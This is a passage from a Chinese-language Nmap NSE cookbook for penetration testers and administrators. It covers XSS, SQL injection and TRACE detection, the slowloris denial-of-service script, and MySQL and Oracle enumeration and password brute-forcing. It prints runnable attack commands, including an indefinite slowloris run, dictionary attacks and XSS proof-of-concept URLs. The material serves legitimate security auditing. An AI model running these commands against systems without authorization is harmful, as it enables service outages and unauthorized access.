Nmap done: 1 IP address (1 host up) scanned in 14.41 seconds
它是如何工作的...
参数-p80 --script http-methods,http-trace --script-args http-methods.retest
告诉 Nmap 在检测到 Web 服务器时在端口 80 上启动 NSE 脚本http-methods
和http-trace
,并分别测试 HTTPOPTIONS
请求返回的每种方法。
http-methods
由 Bernd Stroessenreuther 提交,它发送一个OPTIONS
请求来枚举 Web 服务器支持的方法。
脚本http-trace
是我写的,它的目的是检测 HTTP 方法TRACE
的可用性。它只是发送一个TRACE
请求,并寻找状态码 200,或者服务器回显相同的请求。
还有更多...
通过设置脚本参数http-methods.retest
,我们可以测试OPTIONS
列出的每个 HTTP 方法,并分析返回值以得出TRACE
是否可访问且未被防火墙或配置规则阻止的结论。
$ nmap -p80 --script http-methods,http-trace --script-args http-methods.retest <target>
PORT STATE SERVICE
80/tcp open http
|_http-trace: TRACE is enabled
| http-methods: GET HEAD POST OPTIONS TRACE
| Potentially risky methods: TRACE
| See http://nmap.org/nsedoc/scripts/http-methods.html
| GET / -> HTTP/1.1 200 OK
|
| HEAD / -> HTTP/1.1 200 OK
|
| POST / -> HTTP/1.1 200 OK
|
| OPTIONS / -> HTTP/1.1 200 OK
|
|_TRACE / -> HTTP/1.1 200 OK
请记住,方法TRACE
可能已启用但未列在OPTIONS
中,因此运行http-methods
和http-trace
两个脚本以获得更好的结果非常重要。
使用参数http-trace.path
和http-methods.url-path
来请求与根文件夹(/
)不同的路径:
$ nmap -p80 --script http-methods,http-trace --script-args http-methods.retest,http-trace.path=/secret/,http-methods.url-path=/secret/ <target>
HTTP 用户代理
有一些数据包过滤产品会阻止使用 Nmap 的默认 HTTP 用户代理发出的请求。您可以通过设置参数http.useragent
来使用不同的 HTTP 用户代理:
$ nmap -p80 --script http-trace --script-args http.useragent="Mozilla 42" <target>
另请参阅
-
检查 HTTP 代理是否开放配方
-
在各种 Web 服务器上发现有趣的文件和目录配方
-
检测 Web 应用程序防火墙配方
-
在 Web 应用程序中查找 SQL 注入漏洞配方
-
检测易受 slowloris 拒绝服务攻击的 Web 服务器配方
在 Web 应用程序中检测跨站脚本漏洞
跨站脚本漏洞允许攻击者伪造内容,窃取用户 cookie,甚至在用户浏览器上执行恶意代码。甚至还有像Beef
这样的高级利用框架,允许攻击者通过 JavaScript 挂钩执行复杂的攻击。Web 渗透测试人员可以使用 Nmap 以自动化的方式发现 Web 服务器中的这些漏洞。
此配方显示了如何使用 Nmap NSE 在 Web 应用程序中查找跨站脚本漏洞。
如何做...
要扫描 Web 服务器以查找易受跨站脚本(XSS)攻击的文件,我们使用以下命令:
$ nmap -p80 --script http-unsafe-output-escaping <target>
所有被怀疑易受攻击的文件将被列出:
PORT STATE SERVICE REASON
80/tcp open http syn-ack
| http-unsafe-output-escaping:
|_ Characters [> " '] reflected in parameter id at http://target/1.php?id=1
脚本输出还将包括易受攻击的参数以及未经过滤或编码返回的字符。
如果您正在使用 PHP 服务器,请改用以下 Nmap 命令:
$nmap -p80 --script http-phpself-xss,http-unsafe-output-escaping <target>
对于具有易受攻击文件的 Web 服务器,您将看到类似于下面显示的输出:
PORT STATE SERVICE REASON
80/tcp open http syn-ack
| http-phpself-xss:
| VULNERABLE:
| Unsafe use of $_SERVER["PHP_SELF"] in PHP files
| State: VULNERABLE (Exploitable)
| Description:
| PHP files are not handling safely the variable $_SERVER["PHP_SELF"] causing Reflected Cross Site Scripting vulnerabilities.
|
| Extra information:
|
| Vulnerable files with proof of concept:
| http://calder0n.com/sillyapp/three.php/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E
| http://calder0n.com/sillyapp/secret/2.php/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E
| http://calder0n.com/sillyapp/1.php/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E
| http://calder0n.com/sillyapp/secret/1.php/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=calder0n.com
| References:
| http://php.net/manual/en/reserved.variables.server.php
|_ https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
| http-unsafe-output-escaping:
|_ Characters [> " '] reflected in parameter hola at http://calder0n.com/sillyapp/secret/1.php?hola=1
它是如何工作的...
脚本http-unsafe-output-escaping
由 Martin Holst Swende 编写,它会爬取 Web 服务器以检测基于用户输入的 Web 应用程序返回输出的可能问题。脚本会将以下有效负载插入到它找到的所有参数中:
ghz%3Ehzx%22zxc%27xcv
上面显示的有效负载旨在检测可能导致跨站脚本漏洞的字符`> " '。
我编写了脚本http-phpself-xss
来检测由于未对$_SERVER["PHP_SELF"']
脚本进行消毒而导致的跨站脚本漏洞。该脚本将爬取 Web 服务器以查找所有具有.php
扩展名的文件,并将以下有效负载附加到每个 URI:
/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E
如果网站上反映了相同的模式,这意味着页面不安全地使用了变量$_SERVER["PHP_SELF"]
。
脚本http-unsafe-output-escaping
和http-phpself-xss
的官方文档可以在以下 URL 找到:
还有更多...
脚本http-unsafe-output-escaping
和http-phpself-xss
依赖于库httpspider
。可以配置此库以增加其覆盖范围和整体行为。
例如,该库默认只会爬取 20 页,但我们可以相应地设置参数httpspider.maxpagecount
以适应更大的网站:
$nmap -p80 --script http-phpself-xss --script-args httpspider.maxpagecount=200 <target>
另一个有趣的参数是httpspider.withinhost
,它限制了网络爬虫到给定的主机。这是默认开启的,但如果您需要测试相互链接的一组 Web 应用程序,您可以使用以下命令:
$nmap -p80 --script http-phpself-xss --script-args httpspider.withinhost=false <target>
我们还可以设置要覆盖的目录的最大深度。默认情况下,此值仅为3
,因此,如果注意到 Web 服务器具有深度嵌套的文件,特别是在实现“美化 URL”时,例如/blog/5/news/comment/,建议使用以下命令更新此库参数:
$nmap -p80 --script http-phpself-xss --script-args httpspider.maxdepth=10 <target>
该库的官方文档可以在nmap.org/nsedoc/lib/httpspider.html
找到。
HTTP 用户代理
有一些数据包过滤产品会阻止使用 Nmap 的默认 HTTP 用户代理发出的请求。您可以通过设置参数http.useragent
来使用不同的用户代理值:
$ nmap -p80 --script http-sql-injection --script-args http.useragent="Mozilla 42" <target>
HTTP 管线化
一些 Web 服务器允许将多个 HTTP 请求封装在单个数据包中。这可能会加快 NSE HTTP 脚本的执行速度,如果 Web 服务器支持,建议使用。默认情况下,HTTP 库尝试管线化 40 个请求,并根据流量条件自动调整该数字,基于Keep-Alive
标头。
$ nmap -p80 --script http-sql-injection --script-args http.pipeline=25 <target>
此外,您可以使用参数http.max-pipeline
来设置要添加到管线的最大 HTTP 请求数量。如果设置了脚本参数http.pipeline
,则将忽略此参数:
$.nmap -p80 --script http-methods --script-args http.max-pipeline=10 <target>
另请参阅
-
检测可能的 XST 漏洞配方
-
检测 Web 应用程序防火墙配方
-
检测 Web 应用程序中的 SQL 注入漏洞配方
-
检测易受 slowloris 拒绝服务攻击的 Web 服务器配方
在 Web 应用程序中查找 SQL 注入漏洞
SQL 注入漏洞是由于未对用户输入进行消毒而引起的,它们允许攻击者执行可能危及整个系统的 DBMS 查询。这种类型的 Web 漏洞非常常见,因为必须测试每个脚本变量,因此检查此类漏洞可能是一项非常乏味的任务。幸运的是,我们可以使用 Nmap 快速扫描 Web 服务器,查找 SQL 注入的易受攻击文件。
此配方展示了如何使用 Nmap NSE 在 Web 应用程序中查找 SQL 注入漏洞。
如何做...
要使用 Nmap 扫描 Web 服务器,查找易受 SQL 注入攻击的文件,请使用以下命令:
$ nmap -p80 --script http-sql-injection <target>
所有易受攻击的文件将显示可能存在漏洞的参数:
PORT STATE SERVICE
80/tcp open http syn-ack
| http-sql-injection:
| Possible sqli for queries:
|_ http://xxx/index.php?param=13'%20OR%20sqlspider
它是如何工作的...
脚本http-sql-injection.nse
由 Eddie Bell 和 Piotr Olma 编写。它会爬行 Web 服务器,查找带有参数的表单和 URI,并尝试查找 SQL 注入漏洞。脚本通过插入可能导致应用程序出错的 SQL 查询来确定服务器是否存在漏洞。这意味着脚本不会检测到任何盲目的 SQL 注入漏洞。
脚本匹配的错误消息是从默认位置/nselib/data/http-sql-errors.lst
中读取的外部文件。此文件来自fuzzdb
项目(code.google.com/p/fuzzdb/
),用户可以根据需要选择替代文件。
还有更多...
httpspider
库的行为可以通过库参数进行配置。默认情况下,它使用相当保守的值来节省资源,但在全面测试期间,我们需要调整其中的几个参数以获得最佳结果。例如,默认情况下,该库只会爬行 20 页,但我们可以根据需要设置参数httpspider.maxpagecount
以适应更大的站点,如以下命令所示:
$ nmap -p80 --script http-sql-injection --script-args httpspider.maxpagecount=200 <target>
另一个有趣的参数是httpspider.withinhost
,它限制 Web 爬虫到给定的主机。默认情况下已启用,但如果需要测试相互链接的一组 Web 应用程序,可以使用以下命令:
$ nmap -p80 --script http-sql-injection --script-args httpspider.withinhost=false <target>
我们还可以设置要覆盖的目录的最大深度。默认情况下,此值仅为3
,因此如果您注意到 Web 服务器具有深度嵌套的文件,特别是在实现了“pretty urls”(例如/blog/5/news/comment/
)时,建议您更新此库参数:
$ nmap -p80 --script http-sql-injection --script-args httpspider.maxdepth=10 <target>
该库的官方文档可在nmap.org/nsedoc/lib/httpspider.html
找到。
HTTP 用户代理
有一些数据包过滤产品会阻止使用 Nmap 的默认 HTTP 用户代理发出的请求。您可以通过设置参数http.useragent
来使用不同的用户代理值:
$ nmap -p80 --script http-sql-injection --script-args http.useragent="Mozilla 42" <target>
HTTP 管线化
一些 Web 服务器允许将一个以上的 HTTP 请求封装在一个数据包中。这可能会加快 NSE HTTP 脚本的执行速度,建议在 Web 服务器支持的情况下使用。HTTP 库默认尝试将 40 个请求进行管线化,并根据Keep-Alive
标头根据流量情况自动调整该数字。
$ nmap -p80 --script http-sql-injection --script-args http.pipeline=25 <target>
此外,您可以使用参数http.max-pipeline
来设置要添加到管线的 HTTP 请求的最大数量。如果设置了脚本参数http.pipeline
,则将忽略此参数:
$ nmap -p80 --script http-methods --script-args http.max-pipeline=10 <target>
另请参阅
-
检测可能的 XST 漏洞食谱
-
检测 Web 应用程序防火墙食谱
-
在 Web 应用程序中检测跨站脚本漏洞的检测食谱
-
检测易受 slowloris 拒绝服务攻击影响的 Web 服务器食谱
检测易受 slowloris 拒绝服务攻击影响的 Web 服务器
拒绝服务攻击在当今非常流行,Nmap 可以帮助渗透测试人员检测易受此类攻击影响的 Web 服务器。据推测,“slowloris 拒绝服务”技术是由 Adrian Ilarion Ciobanu 于 2007 年发现的,但 Rsnake 在 DEFCON 17 中发布了第一个工具,证明它影响了包括 Apache 1.x,Apache 2.x,dhttpd 在内的多种产品,可能还有许多其他 Web 服务器。
此食谱展示了如何使用 Nmap 检测 Web 服务器是否容易受到 slowloris DoS 攻击的影响。
如何做...
要使用 Nmap 对远程 Web 服务器发起 slowloris 攻击,请使用以下命令:
# nmap -p80 --script http-slowloris --max-parallelism 300 <target>
结果包括一些攻击统计数据:
PORT STATE SERVICE REASON
80/tcp open http syn-ack
| http-slowloris:
| Vulnerable:
| the DoS attack took +5m35s
| with 300 concurrent connections
|_ and 900 sent queries
它是如何工作的...
参数-p80 --script http-slowloris
在端口 80(-p80
)检测到 Web 服务器时启动 NSE 脚本http-slowloris
。
slowloris DoS 技术的工作方式与其他拒绝服务技术不同,其他技术会通过请求淹没通信渠道。Slowloris 使用最小的带宽,不会消耗大量资源,只发送最少量的信息以保持连接不关闭。
RSnake 的官方说明可在ha.ckers.org/slowloris/
找到。
NSE 脚本由 Aleksandar Nikolic 和 Ange Gutek 编写。官方文档可在以下网址找到:
nmap.org/nsedoc/scripts/http-slowloris.html
还有更多...
要设置每个 HTTP 标头之间的时间,请使用以下命令中的脚本参数http-slowloris.send_interval
:
$ nmap -p80 --script http-slowloris --script-args http-slowloris.send_interval=200 --max-parallelism 300
要在一定时间内运行 slowloris 攻击,请使用以下命令中显示的脚本参数http-slowloris.timelimit
:
$ nmap -p80 --script http-slowloris --script-args http-slowloris.timelimit=15m <target>
或者,还有一个参数可用于告诉 Nmap 无限期地攻击目标,如以下命令所示:
$ nmap -p80 --script http-slowloris --script-args http-slowloris.runforever <target>
还有另一个用于检查易受攻击的 Web 服务器的 NSE 脚本,名为http-slowloris-check
,由 Aleksandar Nikolic 编写。此脚本仅发送两个请求,并且它使用巧妙的方法通过读取和比较连接超时来检测易受攻击的服务器:
$ nmap -p80 --script http-slowloris-check <target>
HTTP 用户代理
有一些数据包过滤产品会阻止使用 Nmap 的默认 HTTP 用户代理发出的请求。您可以通过设置参数http.useragent
来使用不同的用户代理值:
$ nmap -p80 --script http-slowloris --script-args http.useragent="Mozilla 42" <target>
另请参阅
-
检测可能的 XST 漏洞的方法
-
发现各种 Web 服务器上有趣的文件和目录的方法
-
检测 Web 应用程序防火墙的方法
-
在 Web 应用程序中测试默认凭据的方法
-
在 Web 应用程序中找到 SQL 注入漏洞的方法
第五章:审计数据库
注意
本章向您展示了如何执行在许多情况下可能是非法、不道德、违反服务条款或不明智的一些操作。这里提供这些信息是为了让您了解如何保护自己免受威胁,并使自己的系统更加安全。在遵循这些说明之前,请确保您站在法律和道德的一边...运用您的力量为善!
在本章中,我们将涵盖:
-
列出 MySQL 数据库
-
列出 MySQL 用户
-
列出 MySQL 变量
-
在 MySQL 服务器中查找空密码的 root 帐户
-
暴力破解 MySQL 密码
-
检测 MySQL 服务器中的不安全配置
-
暴力破解 Oracle 密码
-
暴力破解 Oracle SID 名称
-
检索 MS SQL 服务器信息
-
暴力破解 MS SQL 密码
-
转储 MS SQL 服务器的密码哈希
-
在 MS SQL 服务器上通过命令行运行命令
-
在 MS SQL 服务器上查找具有空密码的 sysadmin 帐户
-
列出 MongoDB 数据库
-
检索 MongoDB 服务器信息
-
列出 CouchDB 数据库
-
检索 CouchDB 数据库统计信息
介绍
Web 应用程序必须存储不同类型的信息。根据情况,可能需要存储数百万条记录,并且这就是数据库的用武之地。数据库服务器至关重要,因为它们提供了一种方便的管理信息的方式,并且几乎可以为任何语言和数据库类型提供编程 API。
Nmap NSE 已经为许多数据库服务器添加了支持。系统管理员会发现,借助 Nmap,我们可以自动化处理与一堆数据库服务器打交道时的几项任务,例如运行查询以通知我们有关状态。另一方面,谨慎地保护数据库服务器必须小心进行,并且与保护 Web 服务器一样重要。Nmap 还通过支持自动化操作(例如检查空的 root 密码和不安全配置)来帮助我们。
本章涵盖了最常见的关系数据库(如 MySQL、MS SQL 和 Oracle)和nosql
数据库(如 CouchDB 和 MongoDB)的不同 NSE 脚本。我们首先介绍了一些简单的任务,如检索状态信息和列出数据库、表和实例。我们还涵盖了暴力破解密码审核,因为在渗透测试评估期间,在数据库中找到弱密码或在某些情况下根本没有密码是常见的。在本章中,我还谈到了一个我最喜欢的 NSE 脚本,该脚本是使用 CIS MySQL 安全基准的部分编写的,用于审计不安全配置。在本章之后,我希望您能学会如何使用这些强大的 NSE 脚本来实施不同的安全和完整性检查,以保护您的基础设施。
列出 MySQL 数据库
MySQL 服务器可能包含多个数据库。作为具有合法访问权限的系统管理员或刚刚攻破服务器的渗透测试人员,我们可以使用 Nmap 列出可用的数据库。
此配方教您如何使用 Nmap NSE 列出 MySQL 服务器中的数据库。
如何做...
打开终端并输入以下命令:
$ nmap -p3306 --script mysql-databases --script-args mysqluser=<user>,mysqlpass=<password> <target>
数据库应该在脚本结果下列出。
3306/tcp open mysql
| mysql-databases:
| information_schema
| temp
| websec
| ids
|_ crm
工作原理...
使用参数-p3306 --script mysql-databases --script-args mysqluser=<user>,mysqlpass=<password>
告诉 Nmap 尝试使用给定的凭据(--script-args mysqluser=<user>,mysqlpass=<password>
)连接到 MySQL 服务器,并尝试列出服务器中所有可用的数据库。
脚本mysql-databases
由 Patrik Karlsson 编写,以帮助 Nmap 用户枚举 MySQL 安装中的数据库。
还有更多...
如果找到空的 root 帐户,可以使用以下命令尝试枚举数据库:
# nmap -p3306 --script mysql-empty-password,mysql-databases <target>
如果服务运行在 3306 以外的端口上,我们可以使用 Nmap 的服务检测(-sV
),或使用参数-p
手动设置端口。
# nmap -sV --script mysql-databases <target>$ nmap -p1111 –script mysql-databases <target>
另请参阅
-
列出 MySQL 用户配方
-
列出 MySQL 变量食谱
-
在 MySQL 服务器中查找空密码的 root 账户食谱
-
暴力破解 MySQL 密码食谱
-
检测 MySQL 服务器中的不安全配置食谱
列出 MySQL 用户
MySQL 服务器支持对数据库的细粒度访问,这意味着单个安装中可能有多个用户。
此食谱展示了如何使用 Nmap 枚举 MySQL 服务器中的用户。
如何操作...
打开终端并输入以下命令:
$ nmap -p3306 --script mysql-users --script-args mysqluser=<user>,mysqlpass=<pass> <target>
用户名列表将包括在mysql-users
部分中:
3306/tcp open mysql
| mysql-users:
| root
| crm
| web
|_ admin
工作原理...
参数-p3306 --script mysql-users --script-args mysqluser=<user>,mysqlpass=<pass>
使 Nmap 在发现运行在 3306 端口上的 MySQL 服务器时启动脚本mysql-users
。
脚本mysql-users
由 Patrik Karlsson 提交,它使用给定的认证凭据在 MySQL 服务器中枚举用户名。如果没有使用脚本参数mysqluser
和mysqlpass
设置认证凭据,它将尝试使用mysql-brute
和mysql-empty-password
的结果。
还有更多...
要枚举具有空密码的 root 账户的 MySQL 安装中的数据库和用户,请使用以下命令:
$ nmap -sV --script mysql-empty-password,mysql-databases,mysql-users <target>
如果 MySQL 服务器运行在 3306 端口之外,您可以使用 Nmap 的服务扫描,或者使用参数-p
手动设置端口。
$ nmap -p3333 --script mysql-users <target>$ nmap -sV --script mysql-users <target>
另请参阅
-
列出 MySQL 数据库食谱
-
列出 MySQL 变量食谱
-
在 MySQL 服务器中查找空密码的 root 账户食谱
-
暴力破解 MySQL 密码食谱
-
检测 MySQL 服务器中的不安全配置食谱
列出 MySQL 变量
MySQL 服务器有几个环境变量,系统管理员和 Web 开发人员以不同的方式使用。
此食谱向您展示了如何使用 Nmap 列出 MySQL 服务器中的环境变量。
如何操作...
打开终端并输入以下 Nmap 命令:
$ nmap -p3306 --script mysql-variables --script-args mysqluser=<root>,mysqlpass=<pass> <target>
MySQL 变量将在mysql-variables
下列出:
3306/tcp open mysql
| mysql-variables:
| auto_increment_increment: 1
| auto_increment_offset: 1
| automatic_sp_privileges: ON
| back_log: 50
| basedir: /usr/
| binlog_cache_size: 32768
| bulk_insert_buffer_size: 8388608
| character_set_client: latin1
| character_set_connection: latin1
| character_set_database: latin1
| .
| .
| .
| version_comment: (Debian)
| version_compile_machine: powerpc
| version_compile_os: debian-linux-gnu
|_ wait_timeout: 28800
工作原理...
我们使用参数-p3306 --script mysql-variables --script-args mysqluser=<root>,mysqlpass=<pass>
使 Nmap 在发现运行在 3306 端口上的 MySQL 服务器时启动脚本mysql-variables
。
脚本mysql-variables
由 Patrik Karlsson 提交,它使用脚本参数mysqluser
和mysqlpass
作为对 MySQL 服务器的认证凭据,尝试枚举系统变量。
还有更多...
如果 MySQL 服务器运行在 3306 端口之外,我们可以使用 Nmap 的服务检测或手动使用-p
参数设置端口。
$ nmap -sV --script mysql-variables <target>$ nmap -p5555 --script mysql-variables <target>
要从具有空 root 密码的 MySQL 服务器中检索数据库、用户名和变量,请使用以下命令:
$ nmap -sV --script mysql-variables,mysql-empty-password,mysql-databases,mysql-users <target>
另请参阅
-
列出 MySQL 数据库食谱
-
列出 MySQL 用户食谱
-
在 MySQL 服务器中查找空密码的 root 账户食谱
-
暴力破解 MySQL 密码食谱
-
检测 MySQL 服务器中的不安全配置食谱
在 MySQL 服务器中查找空密码的 root 账户
新系统管理员经常犯将 MySQL 服务器的 root 账户留空密码的错误。这是一个明显的安全漏洞,可能会被攻击者利用。渗透测试人员和系统管理员需要在坏人之前检测到这些易受攻击的安装。
此食谱将向您展示如何使用 Nmap 检查 MySQL 服务器上的空 root 密码。
如何操作...
打开终端并输入以下命令:
$ nmap -p3306 --script mysql-empty-password <target>
如果账户root
或anonymous
的密码为空,将在脚本结果中显示:
Nmap scan report for 127.0.0.1
Host is up (0.11s latency).
3306/tcp open mysql
| mysql-empty-password:
|_ root account has empty password
工作原理...
参数-p3306 --script mysql-empty-password
使 Nmap 在发现运行在 3306 端口上的 MySQL 服务器时启动 NSE 脚本mysql-empty-password
。
此脚本由 Patrik Karlsson 提交,它连接到 MySQL 服务器并尝试使用空密码的账户root
和anonymous
。
还有更多...
要尝试自定义的用户名列表,您需要修改位于脚本目录中的 NSE 脚本mysql-empty-password.nse
。在文件中找到以下行:
local users = {"", "root"}
并用您自己的用户名列表替换它,就像这样:
local users = {"plesk", "root","cpanel","test","db"}
只需保存并按照先前显示的方式运行它:
$ nmap -sV --script mysql-empty-password <target>
$ nmap -p3306 --script mysql-empty-password <target>
另请参阅
-
列出 MySQL 数据库配方
-
列出 MySQL 用户配方
-
列出 MySQL 变量配方
-
强制破解 MySQL 密码配方
-
检测 MySQL 服务器中的不安全配置配方
强制破解 MySQL 密码
Web 服务器有时会返回数据库连接错误,这些错误会显示 Web 应用程序使用的 MySQL 用户名。渗透测试人员可以使用这些信息来执行暴力破解密码审计。
这个配方描述了如何使用 Nmap 对 MySQL 服务器进行字典攻击。
如何做...
要使用 Nmap 对 MySQL 服务器进行暴力破解密码审计,请使用以下命令:
$ nmap -p3306 --script mysql-brute <target>
如果找到有效的凭证,它们将包含在mysql-brute
输出部分中:
3306/tcp open mysql
| mysql-brute:
| root:<empty> => Valid credentials
|_ test:test => Valid credentials
它是如何工作的...
脚本mysql-brute
是由 Patrik Karlsson 编写的,当审计 MySQL 服务器时非常有帮助。它执行字典攻击以找到有效的凭证。成功率显然取决于运行脚本时使用的字典文件。
还有更多...
您的 MySQL 服务器可能在非标准端口上运行。您可以通过指定-p
参数手动设置端口,或者使用 Nmap 的服务检测:
$ nmap -sV --script mysql-brute <target>$ nmap -p1234 --script mysql-brute <target>
脚本mysql-brute
依赖于 NSE 库unpwdb
和brute
。这些库有几个脚本参数,可以用来调整您的暴力破解密码审计。
- 要使用不同的用户名和密码列表,请分别设置参数
userdb
和passdb
:
$ nmap -p3306 --script mysql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt <target>
- 要在找到一个有效帐户后退出,请使用参数
brute.firstOnly
:
$ nmap -p3306 --script mysql-brute --script-args brute.firstOnly <target>
- 要设置不同的超时限制,请使用参数
unpwd.timelimit
。要无限期运行它,请将其设置为0
:
$ nmap -p3306 --script mysql-brute --script-args unpwdb.timelimit=0 <target>$ nmap -p3306 --script mysql-brute --script-args unpwdb.timelimit=60m <target>
Brute 模式
brute
库支持不同的模式,可以改变攻击中使用的用户名/密码组合。可用的模式有:
user
:对于userdb
中列出的每个用户,将尝试passdb
中的每个密码
$ nmap --script mysql-brute --script-args brute.mode=user <target>
pass
:对于passdb
中列出的每个密码,将尝试userdb
中的每个用户
$ nmap --script mysql-brute --script-args brute.mode=pass <target>
creds
:这需要额外的参数brute.credfile
$ nmap --script mysql-brute --script-args brute.mode=creds,brute.credfile=./creds.txt <target>
另请参阅
-
列出 MySQL 数据库配方
-
列出 MySQL 用户配方
-
列出 MySQL 变量配方
-
在 MySQL 服务器中查找空密码的 root 帐户配方
-
检测 MySQL 服务器中的不安全配置配方
检测 MySQL 服务器中的不安全配置
数据库中的不安全配置可能会被攻击者滥用。互联网安全中心(CIS)发布了 MySQL 的安全基准,Nmap 可以使用这个基准来审计 MySQL 服务器的安全配置。
这个配方展示了如何使用 Nmap 检测 MySQL 服务器中的不安全配置。
如何做...
要检测 MySQL 服务器中的不安全配置,请输入以下命令:
$ nmap -p3306 --script mysql-audit --script-args 'mysql-audit.username="<username>",mysql-audit.password="<password>",mysql-audit.filename=/usr/local/share/nmap/nselib/data/mysql-cis.audit' <target>
每个控件都将被审查,并且结果中将包括PASS
、FAIL
或REVIEW
的图例:
PORT STATE SERVICE
3306/tcp open mysql
| mysql-audit:
| CIS MySQL Benchmarks v1.0.2
| 3.1: Skip symbolic links => PASS
| 3.2: Logs not on system partition => PASS
| 3.2: Logs not on database partition => PASS
| 4.1: Supported version of MySQL => REVIEW
| Version: 5.1.41-3ubuntu12.10
| 4.4: Remove test database => PASS
| 4.5: Change admin account name => FAIL
| 4.7: Verify Secure Password Hashes => PASS
| 4.9: Wildcards in user hostname => PASS
| 4.10: No blank passwords => PASS
| 4.11: Anonymous account => PASS
| 5.1: Access to mysql database => REVIEW
| Verify the following users that have access to the MySQL database
| user host
| root localhost
| root builder64
| root 127.0.0.1
| debian-sys-maint localhost
| 5.2: Do not grant FILE privileges to non Admin users => PASS
| 5.3: Do not grant PROCESS privileges to non Admin users => PASS
| 5.4: Do not grant SUPER privileges to non Admin users => PASS
| 5.5: Do not grant SHUTDOWN privileges to non Admin users => PASS
| 5.6: Do not grant CREATE USER privileges to non Admin users => PASS
| 5.7: Do not grant RELOAD privileges to non Admin users => PASS
| 5.8: Do not grant GRANT privileges to non Admin users => PASS
| 6.2: Disable Load data local => FAIL
| 6.3: Disable old password hashing => PASS
| 6.4: Safe show database => FAIL
| 6.5: Secure auth => FAIL
| 6.6: Grant tables => FAIL
| 6.7: Skip merge => FAIL
| 6.8: Skip networking => FAIL
| 6.9: Safe user create => FAIL
| 6.10: Skip symbolic links => FAIL
|
|_ The audit was performed using the db-account: root
它是如何工作的...
脚本参数-p3306 --script mysql-audit
告诉 Nmap 如果发现运行在 3306 端口上的 MySQL 服务器,则启动 NSE 脚本mysql-audit
。
脚本mysql-audit
是由 Patrik Karlsson 开发的,它使用基准 CIS MySQL 的部分检查不安全的配置。它也非常灵活,允许通过指定替代规则进行自定义检查。
还有更多...
如果您的 MySQL 服务器除了root
和debian-sys-maint
之外还有管理帐户,您应该在$ nmap_path/nselib/data/mysql-cis.audit
中找到以下行,并将其添加到脚本中:
local ADMIN_ACCOUNTS={"root", "debian-sys-maint". "web"}
请记住,您可以在单独的文件中编写自己的规则,并使用脚本参数mysql-audit.fingerprintfile
来引用它。审计规则看起来像下面这样:
test { id="3.1", desc="Skip symbolic links", sql="SHOW variables WHERE Variable_name = 'log_error' AND Value IS NOT NULL", check=function(rowstab)
return { status = not(isEmpty(rowstab[1])) }
end
}
MySQL 服务器可能在非标准端口上运行。使用 Nmap 的服务检测(-sV
)或通过指定端口参数(-p
)手动设置端口:
$ nmap -sV --script mysql-brute <target>$ nmap -p1234 --script mysql-brute <target>
另请参阅
-
列出 MySQL 数据库食谱
-
列出 MySQL 用户食谱
-
列出 MySQL 变量食谱
-
在 MySQL 服务器中查找空密码的根帐户食谱
-
暴力破解 MySQL 密码食谱
暴力破解 Oracle 密码
管理多个数据库的系统管理员通常需要根据组织的政策检查弱密码。渗透测试人员也利用弱密码获取未经授权的访问权限。方便的是,Nmap NSE 提供了一种执行远程暴力破解密码审计的方法,用于 Oracle 数据库服务器。
该食谱显示了如何使用 Nmap 对 Oracle 进行暴力破解密码审计。
如何做...
打开终端并使用以下参数运行 Nmap:
$ nmap -sV --script oracle-brute --script-args oracle-brute.sid=TEST <target>
在脚本输出部分将包括找到的任何有效凭据:
PORT STATE SERVICE REASON
1521/tcp open oracle syn-ack
| oracle-brute:
| Accounts
| system:system => Valid credentials
| Statistics
|_ Perfomed 103 guesses in 6 seconds, average tps: 17
它是如何工作的...
参数-sV --script oracle-brute --script-args oracle-brute.sid=TEST
使 Nmap 在检测到 Oracle 服务器时针对实例TEST
启动脚本oracle-brute
。
脚本oracle-brute
由 Patrik Karlsson 提交,它帮助渗透测试人员和系统管理员对 Oracle 服务器发起字典攻击,以尝试获取有效凭据。
还有更多...
更新文件nselib/data/oracle-default-accounts.lst
以添加任何默认帐户。
脚本oracle-brute
依赖于 NSE 库unpwdb
和brute
。这些库有几个脚本参数,可用于调整您的暴力破解密码审计。
- 要使用不同的用户名和密码列表,请分别设置参数
userdb
和passdb
:
$ nmap -sV --script oracle-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt <target>
- 要在找到一个有效帐户后退出,请使用参数
brute.firstOnly
:
$ nmap -sV --script oracle-brute --script-args brute.firstOnly <target>
- 要设置不同的超时限制,请使用参数
unpwd.timelimit
。要无限期运行,请将其设置为0
:
$ nmap -sV --script oracle-brute --script-args unpwdb.timelimit=0 <target>$ nmap -sV --script oracle-brute --script-args unpwdb.timelimit=60m <target>
暴力模式
暴力库支持不同的模式,这些模式改变了攻击中使用的用户名/密码组合。可用的模式有:
用户
:对于userdb
中列出的每个用户,将尝试passdb
中的每个密码
$ nmap --script oracle-brute --script-args brute.mode=user <target>
密码
:对于passdb
中列出的每个密码,将尝试userdb
中的每个用户
$ nmap --script oracle-brute --script-args brute.mode=pass <target>
凭据
:这需要额外的参数brute.credfile
$ nmap --script oracle-brute --script-args brute.mode=creds,brute.credfile=./creds.txt <target>
另请参阅
- 暴力破解 Oracle SID 名称食谱
暴力破解 Oracle SID 名称
Oracle 服务器具有 SID 名称,渗透测试人员需要找到它们。多亏了 Nmap,我们可以尝试通过对 TNS 监听器进行字典攻击来列出它们。
该食谱显示了如何使用 Nmap 对 Oracle SID 名称进行暴力破解。
如何做...
要暴力破解 Oracle SID 名称,请使用以下 Nmap 命令:
$ nmap -sV --script oracle-sid-brute <target>
找到的所有 SID 将包括在oracle-sid-brute
的 NSE 脚本输出部分中:
PORT STATE SERVICE REASON
1521/tcp open oracle syn-ack
| oracle-sid-brute:
| orcl
| prod
|_ devel
它是如何工作的...
参数-sV --script oracle-sid-brute
告诉 Nmap 启动服务检测(-sV
)并使用 NSE 脚本oracle-sid-brute
。
NSE 脚本oracle-sid-brute
由 Patrik Karlsson 提交,以帮助渗透测试人员通过对 Oracle 的 TNS 进行字典攻击来枚举 Oracle SID。如果主机运行服务oracle-tns
或端口 1521 打开,则将执行此脚本。
还有更多...
默认情况下,该脚本使用位于nselib/data/oracle-sids
的字典,但您可以通过设置脚本参数oraclesids
来指定不同的文件:
